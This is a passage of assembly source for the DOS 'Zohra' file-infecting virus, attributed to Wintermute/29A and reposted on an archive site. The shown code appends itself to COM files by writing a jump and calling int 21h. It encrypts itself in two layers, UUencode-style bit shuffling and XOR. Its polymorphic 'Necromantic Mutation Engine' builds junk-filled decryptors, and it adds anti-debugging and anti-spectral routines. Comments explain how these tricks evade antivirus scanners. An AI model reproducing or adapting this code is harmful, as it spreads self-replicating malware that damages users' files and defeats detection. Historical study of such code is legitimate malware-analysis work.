lea dx,header+201h+virus_size
div bp

mov al,byte ptr ds:[header+201h+virus_size]
add al,byte ptr ds:[header+202h+virus_size] ;
cmp al,'M'+'Z' ; Exe header ?
jz vamos_a_cerrar

mov ax,word ptr es:[di+11h] ; File length
push ax
sub ax,3
mov word ptr[salto_com+virus_size+202h],ax ; We prepare
mov word ptr es:[di+15h],0 ;first bytes
lea dx,salto_com+virus_size+201h
mov cx,3 ; And write them
mov ah,40h
div bp


pop ax
mov word ptr es:[di+15h],ax
add ax,300h
mov word ptr ds:[1],ax ; For the poly engine


call copiarse ; Jump to copy it
mov byte ptr ds:[2],02h

vamos_a_cerrar:

jmp fecha ; Go to restore date, close.


thetext: db 'Zohra will live forever ! Necromancy with her...',0
nombre: db '[Zohra] virus by Wintermute/29A, dedicated to the best '
db 'Necromancer of the Forgotten Realms,... I assure you '
db 'will live forever, my love... ;)',0

header: db 0ah dup (?)
minalloc: db 0,0
maxalloc: db 0,0
SS_SP: dw 0,offset virus_end+100h
Checksum: dw 0
CS_IP: dw offset host,0,0,0,0,0
salto_com: db 0e9h,0,0
flag1: db 0

encrypt_end label byte
buffer_uuencode equ ((encriptado/7)-1)

buffer: db buffer_uuencode+1 dup (?)

; *********** ENCRYPTION ***********

copiarse:
call push_all_regs
mov bp,virus_size+201h ; second copy
push cs
pop ds

call rut_encriptado ; UUencode encryptor
call poly_engine ; We make decryptor

push dx
mov ah,40h
mov dx,virus_size+1
mov cx,virus_size+202h
pushf
call dword ptr cs:[int21h] ; Copy the virus
pop dx

call encryptit ; Xor decryption
call rut_desencriptado ; UUencode decryption
call pop_all_regs

ret

; These two routines, rut_encriptado and rut_desencriptado are the first
; encryption of the virus; it's same as UUencode programs use to code ascii
; message. I'll explain:
;
; The virus takes one byte of the zone that's going to be encrypted: saves
; in buffer_uuencode it's most significative bit and changes this bit in the
; encrypted zone to 1 ( with an or 080h ). It does this with seven of them,
; making a rol to the byte which contains the original bits; after that, it
; begins with another seven bytes crunch. So that, engines like Tbscan can
; decrypt the Xor routine, but not this one.
;
; To decrypt, just the opposite; it takes each byte of the buffer ( each
; has seven high bits, beeing it's own most significative bit a 1, to
; keep on the UUencode chain ), and it replaces the original ones in the
; virus.

rut_encriptado:
push bx ; File_handle !
mov cx,buffer_uuencode
lea si,encrypt_start+bp ; 7 bytes

bloque_7:
push cx
xchg bx,cx
add bx,bp

lea di,[buffer+bx] ; Block number plus buffer
mov cx,7 ;address
mov dx,1

sigg:
not cs:byte ptr[si] ; Not the bytes
mov al,byte ptr[si]
or byte ptr[si],080h
and al,080h
rol al,1
shl dx,1
add dl,al
inc si
loop sigg
mov byte ptr [di],dl

pop cx
loop bloque_7

pop bx
ret

; DESENCRIPTACION

rut_desencriptado:

push bx ; Save handle
mov cx,buffer_uuencode
lea si,cs:[encrypt_start+bp]

bloques_de_7:

push cx
xchg bx,cx
mov cx,7
add bx,bp
lea di,[buffer+bx]

mov al,byte ptr[di]
rol al,2

un_bloque:
push ax
and al,1
ror al,1
or al,07fh
and byte ptr [si],al ; If Al is 0, it doesn't touch it
not cs:byte ptr [si]
inc si
pop ax
rol al,1
loop un_bloque
pop cx
loop bloques_de_7
pop bx
ret

;***************
;***************

offset_second equ virus_size+201h

poly_engine:

add dx,word ptr [encryptvalue]+offset_second
mov word ptr [encryptvalue]+offset_second,dx

push offset go_here
encryptit:
mov di,offset_second
mov cx,virus_size/2

enc_loop:
xor [di],dx
inc di
inc di
loop enc_loop
ret

; ***************************************************************************
; THE NECROMANTIC MUTATION ENGINE ( NME )
; ***************************************************************************
; The ants are in the sugar, the muscles atrophied

; Set the decryptor variables ( loop pointer, remaining instructions and
;current instruction )

go_here:

mov word ptr [bytes_referencia],0h
mov word ptr [restantes_poly],200h ; n.instr decryptor
mov byte ptr [numero_instruccion],6h ; n.instr funcionales


; This first part of the poly engine fills the blancks of the six blocks
;( 5 bytes each ) in which the decryptor instructions are divided on with
;random instructions.

push cs cs
pop ds es

mov di,3h
mov cx,3
two_times: call aleatorio
and ah,1
jz two_of_one
call inst_2
jmp next_inst_gen
two_of_one: call inst_1
inc di
call inst_1
next_inst_gen: cmp di,0eh
jnz @di0dh
mov di,017h
jmp @loopt
@di0dh: mov di,0dh
@loopt: loop two_times


mov di,011h
mov cx,2
two_times_otavez:
call aleatorio
and ah,1
jz unod1y1d2
and al,1
jz tresd1
call inst_3
jmp next_one_otave
tresd1:
call inst_1
inc di
call inst_1
inc di
call inst_1
jmp next_one_otave
unod1y1d2: and al,1
jz unod2y1d1
call inst_1
inc di
call inst_2
jmp next_one_otave
unod2y1d1:
call inst_2
inc di
call inst_1
next_one_otave:
mov di,01dh ; The last
call inst_1

lea di,instrucciones
xor si,si
mov cx,instrsize
rep movsb

; This part exchanges 50% times Si and Di registers, which are used in
;the decryptor instructions

call aleatorio
and ah,1
jz sin_cambios_sidi
mov byte ptr [instrucciones+7h],0beh
mov byte ptr [instrucciones+10h],0f5h
mov word ptr [instrucciones+15h],03c31h ; ¨ 313c ?
mov word ptr [instrucciones+19h],04646h


sin_cambios_sidi:

; Depending on a random value, cx is obtained by the normal way ( mov cx, )
; or with a mov dx, register, mov cx,dx

call aleatorio
and ah,1
jz cx_acabado
cbw
and ah,1
jz siguiente_abajo
mov byte ptr [instrucciones+0ah],0bbh
mov word ptr [instrucciones+0dh],0d989h
jmp cx_acabado
siguiente_abajo:
and al,1
jz cx_con_dx
mov byte ptr [instrucciones+0ah],0b8h
mov word ptr [instrucciones+0dh],0c189h
jmp cx_acabado
cx_con_dx:
mov byte ptr [instrucciones+0ah],0bah
mov word ptr [instrucciones+0dh],0d189h
cx_acabado:

; To finish preparing the decrypting routine, we push the instructions that
;modify si, di and cx in the decryptor, and pop them randomly.

push dx
mov byte ptr [variable_inst],00000111b
mov cx,015d ; Copy the 15 bytes of the
lea si,instrucciones+5 ;instructions to the uuencode
lea di,buffer ;buffer ( unused )
push di
rep movsb
pop si

ver_si_esta_hecho:
mov al,byte ptr [variable_inst]
mov dl,al ; Then, restore them in a
or al,al ;random order
jz acabado_pop_inst
call aleatorio
and ah,1
jz popfirst
and al,1
jz popsecond
and dl,100b ; First instruction ( five
jz ver_si_esta_hecho ;bytes )
and byte ptr [variable_inst],11111011b
lea di,instrucciones+0fh
jmp popfivebytes

popfirst:
and dl,1b ; Second one
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111110b
lea di,instrucciones+0ah
jmp popfivebytes

popsecond:
and dl,10b ; Third
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111101b
lea di,instrucciones+5h
popfivebytes:
mov cx,5d ; Replace
rep movsb
jmp ver_si_esta_hecho
acabado_pop_inst:
pop dx


; The modification of the instructions of the decryptor finishes here with
;all changes made: the originals are kept at the beggining of the virus in
;memory. The posible 'final loop' exchange is made when writing the
;decryptor

; Here begins the main zone of the code generator; where it's decided
;what generator to use and random instructions are copied at the
;decryptor.


mov di,virus_size+1
centro_poly:
mov ax,word ptr [restantes_poly] ; Remaining
mov cx,ax ;instructions
and cx,cx
jnz sigamos_decriptor
jmp acabamos_decryptor ; Checks
sigamos_decriptor:
cmp cx,@getmcb-ant_debug
jae @cont_decrr
cmp byte ptr [numero_instruccion],1
jz @@call_decryptgen
@cont_decrr:
dec cx
jz @@call_inst_1
dec cx
jz @@call_inst_2
dec cx
jz @@call_inst_3

  
mov cx,55h ; Do we need to put one of the decryptor
div cl ;instructions ?
inc al
cmp byte ptr[numero_instruccion],al
ja @@call_decryptgen

cmp byte ptr[numero_instruccion],1
jnz @continuemos ; To avoid the loop from going
mov ax,di ;out of range
sub ax,word ptr [loop_site]
cmp ax,70h
jae @@call_decryptgen
@continuemos:
call aleatorio
and ah,1
jz @@trestipos
and al,1
jz @@call_inst_4
@@call_inst_1: call inst_1
dec word ptr [restantes_poly]
inc di
jmp centro_poly
@@call_inst_4: call inst_4
add di,4
sub word ptr [restantes_poly],4
jmp centro_poly

@@trestipos: cbw
and ah,1
jz @@inst_2odec
and al,11b
jz @@call_sub
@@call_inst_3: call inst_3
add di,3
sub word ptr[restantes_poly],3
jmp centro_poly
@@inst_2odec: and al,111b ; Low probability
jnz @@call_inst_2
@@call_decryptgen:
call gen_instruction
jmp centro_poly
@@call_inst_2: call inst_2
inc di
sub word ptr[restantes_poly],2
@fix1: jmp centro_poly
@@call_sub: cmp word ptr[restantes_poly],@getmcb-ant_debug
jb @fix1
call inst_5
add di,si
sub word ptr[restantes_poly],si ; Long non fixed size
jmp centro_poly ;routine


acabamos_decryptor:
ret

instrsize equ instr_end-instr_start

instr_start label byte

; Decryptor instructions list; divided into five-bytes blocks.

instrucciones:

mov bp,0200h
db 90h,90h ; variable ( junk gen )
;5
mov si,cs:word ptr [encryptvalue+bp]
;A
mov cx,virus_size/2
db 90h,90h
;F
mov di,bp
db 90h,90h,90h

loop_dec: ;14h
xor word ptr cs:[di],si
db 90h,90h
;19h
inc di
inc di
loop loop_dec
db 90h ;1dh
; db 90h,90h,90h

instr_end label byte

;*******************************************
; Decryptor values
;--------------------

Restantes_poly: dw 200h ; Remaining instructions counter
Numero_instruccion: db 6 ; Instruction number
num_aleat: dw 1250h ; Aleatory number counter
variable_inst: db 7h ; 0111b
loop_site: dw 0h ; Looping allocation Offset
bytes_referencia: dw 0h ; Reference for instructions


; This returns a random number in Ax after making some operations.

aleatorio:
mov ax,word ptr[num_aleat]
call aleat2
aleat2: ror ax,5 ; The seed number is stablished in each
add ax,1531h ;infection by the date, and modified
push cx dx ax ;by the minutes ( but in Al, the last
mov ah,2ch ;used, to contribute to the slow poly )
int 21h ;and hour.
pop ax
add ah,ch
pop dx cx
rol ax,1
neg ax
sub ax,2311h
ror ax,3
not ax
mov word ptr[num_aleat],ax
ret

; Instructions generators: the required instructions are generated and
;copied in es:di, which points to the decryptor in memory

; Main generator: Copies a decryptor instruction in es:di, with special
;care for the final loop

gen_instruction:
mov al,byte ptr [numero_instruccion]
and al,al
jz @vasmosnos
dec al
jz @preparar_loop
dec al
jz @guardar_paraloop
@gen_ya:
dec byte ptr [numero_instruccion]
lea si,instrucciones
add si,word ptr [bytes_referencia]
add word ptr [bytes_referencia],5h

mov cx,5
rep movsb
sub word ptr[restantes_poly],5h


@vasmosnos: ret
@guardar_paraloop:
mov word ptr [loop_site],di
jmp @gen_ya

@preparar_loop:
mov ax,0fch
mov si,di
mov cx,word ptr [loop_site]
sub si,cx
sub ax,si
mov cx,word ptr[num_aleat]
and cl,1
jz @make_a_jnz
mov byte ptr [instrucciones+01ch],al
jmp @gen_ya
@make_a_jnz:
mov word ptr [instrucciones+01bh],7549h
dec ax
mov byte ptr [instrucciones+01dh],al
jmp @gen_ya

; Generator ----> One byte length instructions generator

inst_1:
call aleatorio
and al,3h
jnz @cont_a1
mov byte ptr es:[di],90h
ret
@cont_a1: and ah,1
jz @cont_a2
call aleatorio
and ah,1h
jz @cont_a2_2
and al,1h
jz @cont_a2_1_1
call aleatorio
and al,1h
jz @cont_a2_2_1
mov byte ptr es:[di],42h ; inc dx
ret
@cont_a2_2_1: mov byte ptr es:[di],43h ; inc bx
ret
@cont_a2_1_1: mov byte ptr es:[di],40h ; inc ax
ret
@cont_a2_2: call aleatorio
and al,1h
jnz @cont_a2_2_2
mov byte ptr es:[di],48h ; dec ax
ret
@cont_a2_2_2: and ah,1h
jz @cont_a2_2_2_2
mov byte ptr es:[di],4bh ; dec bx
ret
@cont_a2_2_2_2: and al,1h
mov byte ptr es:[di],4ah ; dec dx
ret
@cont_a2: call aleatorio
and al,3h
jz @cont_a2_11
and ah,3h
jz @cont_a2_12
call aleatorio
and al,3h
jz @cont_a2_2_11
and ah,3h
jz @cont_a2_2_12
call aleatorio
and al,1
jz @cont_a2_2_13
mov byte ptr es:[di],0cch ; int 3h
ret
@cont_a2_2_11: mov byte ptr es:[di],9fh ; lahf
ret
@cont_a2_2_12: mov byte ptr es:[di],99h ; cwd
ret
@cont_a2_2_13: mov byte ptr es:[di],98h ; cbw
ret
@cont_a2_11: mov byte ptr es:[di],0F9h ; stc
ret
@cont_a2_12: mov byte ptr es:[di],0F8h ; clc
ret

; Generator ----> Two bytes length instructions

inst_2:
call aleatorio
and ah,1h
jz @cont_sub
cbw
and ah,1h
jz sigunvm
jmp @cont_xor
sigunvm:
jmp @cont_mul
@cont_sub:
mov byte ptr es:[di],2bh
inc di
cbw
and al,1
jz @cont_bsub_ax
and ah,1
jz @cont_bsub_dx
call aleatorio
and ah,1
jz @cont_bsub_bx_dxdisi
and al,1
jz @cont_bsub_bx_cx
mov byte ptr es:[di],0d8h ; sub bx,ax
ret
@cont_bsub_bx_cx:
mov byte ptr es:[di],0d9h ; sub bx,cx
ret
@cont_bsub_bx_dxdisi:
cbw
and ah,1
jz @cont_bsub_bx_dx
and al,1
jz @cont_bsub_bx_di
mov byte ptr es:[di],0deh ; sub bx,si
ret
@cont_bsub_bx_di:
mov byte ptr es:[di],0dfh ; sub bx,di
ret
@cont_bsub_bx_dx:
mov byte ptr es:[di],0dah ; sub bx,dx
ret
@cont_bsub_ax:
call aleatorio
and ah,1
jz @cont_bsub_ax_dxdisi
and al,1
jz @cont_bsub_ax_cx
mov byte ptr es:[di],0c3h ; sub ax,bx
ret
@cont_bsub_ax_cx:
mov byte ptr es:[di],0c1h ; sub ax,cx
ret
@cont_bsub_ax_dxdisi:
cbw
and ah,1
jz @cont_bsub_ax_dx
and al,1
jz @cont_bsub_ax_di
mov byte ptr es:[di],0c6h ; sub ax,si
ret
@cont_bsub_ax_di:
mov byte ptr es:[di],0c7h ; sub ax,di
ret
@cont_bsub_ax_dx:
mov byte ptr es:[di],0c2h ; sub ax,dx
ret
@cont_bsub_dx:
call aleatorio
and ah,1
jz @cont_bsub_dx_sidicx
and al,1
jz @cont_bsub_dx_bx
mov byte ptr es:[di],0d0h ; sub dx,ax
ret
@cont_bsub_dx_bx:
mov byte ptr es:[di],0d3h ; sub dx,bx
ret
@cont_bsub_dx_sidicx:
cbw
and ah,1
jz @cont_bsub_dx_cx
and al,1
jz @cont_bsub_dx_di
mov byte ptr es:[di],0d6h ; sub dx,si
ret
@cont_bsub_dx_di:
mov byte ptr es:[di],0d7h ; sub dx,di
ret
@cont_bsub_dx_cx:
mov byte ptr es:[di],0d1h ; sub dx,cx
ret

@cont_xor:
mov byte ptr es:[di],033h
inc di
call aleatorio
and ah,1
jz @cont_xor_4last
cbw
and ah,1
jz @cont_xor_34
and al,1
jz @cont_xor_2
mov byte ptr es:[di],0c0h ; xor ax,ax
ret
@cont_xor_2:
mov byte ptr es:[di],0c3h ; xor ax,bx
ret
@cont_xor_34:
and al,1
jz @cont_xor_4
mov byte ptr es:[di],0c2h ; xor ax,dx
ret
@cont_xor_4:
mov byte ptr es:[di],0dbh ; xor bx,bx
ret
@cont_xor_4last:
cbw
and ah,1
jz @cont_xor_78
and al,1
jz @cont_xor_6
mov byte ptr es:[di],0d8h ; xor bx,ax
ret
@cont_xor_6:
mov byte ptr es:[di],0dah ; xor bx,dx
ret
@cont_xor_78:
and al,1
jz @cont_xor_8
mov byte ptr es:[di],0d2h ; xor dx,dx
ret
@cont_xor_8:
mov byte ptr es:[di],0d0h ; xor dx,ax
ret

@cont_mul:
mov byte ptr es:[di],0f7h
inc di
call aleatorio

and ah,1
jz @cont_divmul_34
and al,1
jz @cont_divmul_2
mov byte ptr es:[di],0e3h ; mul bx
ret
@cont_divmul_2:
mov byte ptr es:[di],0e1h ; mul cx
ret
@cont_divmul_34:
and al,1
jz @cont_divmul_4
mov byte ptr es:[di],0e6h ; mul si
ret
@cont_divmul_4:
mov byte ptr es:[di],0e7h ; mul di
ret

; Generator ----> Three bytes long instructions

inst_3:
call aleatorio
mov si,ax
inc si ; We don't want a 0ffffh
jz inst_3
dec si
and ah,1
jz @add_or_sub_ax
and al,1
jz @mov_dx_inm
mov byte ptr es:[di],0bbh ; mov bx,reg
mov word ptr es:[di+1],si
ret
@mov_dx_inm: mov byte ptr es:[di],0bah ; mov dx,reg
mov word ptr es:[di+1],si
ret
@add_or_sub_ax: and al,1
jz @mov_mem_ax
mov byte ptr es:[di],05h ; add ax,reg
mov word ptr es:[di+1],si
ret
@mov_mem_ax: mov byte ptr es:[di],0a1h ; mov ax,mem
mov word ptr es:[di+1],si
ret

; Generator ----> Four bytes instructions

inst_4: call aleatorio
mov si,ax
inc si
jz inst_4
dec si
and ah,1
jz @q_seg_parte
cbw
and ah,1
jz @q_movdxobx
and al,1
jz @q_subbxfuck
mov word ptr es:[di],019b4h ; Get drive function
mov word ptr es:[di+2],021cdh
ret
@q_subbxfuck: mov word ptr es:[di],0eb81h
mov word ptr es:[di+2],si
ret
@q_movdxobx: and al,1
jz @q_movdx_mem
mov word ptr es:[di],01e8bh
mov word ptr es:[di+2],si
ret
@q_movdx_mem: mov word ptr es:[di],0168bh
mov word ptr es:[di+2],si
ret
@q_seg_parte: cbw
and ah,1
jz @q_seg_sub
mov word ptr es:[di],0c281h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_4
inc byte ptr es:[di+1]
@nosvamos_4: ret
@q_seg_sub: mov word ptr es:[di],0ea81h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_41
inc word ptr es:[di+1]
@nosvamos_41: ret

; Generator ----> More than 4 bytes routines

inst_5: call aleatorio ; Anti-spectral routine,
and ah,1 ;generates a random value
jz @c_seg_parte ;after a cmp ax,ax/jz xxx
and al,1 ;that will never be executed:
jz @c_seg_prim ;'spectral' is a way of
mov word ptr es:[di],0c033h ;finding polymorphic viruses
mov word ptr es:[di+2],0274h;that checks for instructions
call aleatorio ;that aren't in the poly
mov word ptr es:[di+4],ax ;engine; if the instructions
mov si,06h ;are all of a fixed range,
ret ;the spectral identifies the
;poly engine.

@c_seg_prim:
mov word ptr es:[di],0f7fah ; Antidebugging routine
mov word ptr es:[di+2],0f7dch ;( cli, neg sp, neg sp,
mov word ptr es:[di+4],0fbdch ; sti )
mov si,06h
ret

@c_seg_parte: and al,1
jz @c_seg_seg ; Anti-spectral
mov word ptr es:[di],0ffb8h ; mov ax,0ffffh
mov word ptr es:[di+2],040ffh ; inc ax
mov word ptr es:[di+4],0274h ; jz seguimos
call aleatorio ; ( 2 crap bytes )
mov word ptr es:[di+6],ax
mov si,08h
ret

@c_seg_seg:
lea si,ant_debug ; Antidebugging, the routine
mov cx,@getmcb-ant_debug ;placed near the beggining
push cx ;of Zohra
rep movsb
pop si
sub di,si
ret

Int24h: mov al,3
iret

Salto_a_int21h:
db 0eah
int21h: dw 0,0

rutinadiv: ; The virus jumps here when a div bp is used
pushf ;at the infection zone
call dword ptr cs:[int21h]
mov bp,sp
add word ptr ss:[bp],2
xor bp,bp
iret

virus_end label byte

encryptvalue: dw 0 ; Valor de encriptaci¢n


; This is to start deencrypting only from the first infection: this part
;doesn't get copied with the virus

fuera_desencriptado:

xor bp,bp
mov word ptr cs:[encrypt_start-2+bp],rut_desencriptado-encrypt_start
ret

CODIGO ENDS
END Comienzo

; This Is Your World In Which We Grow, And We Will Grow To Hate You

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT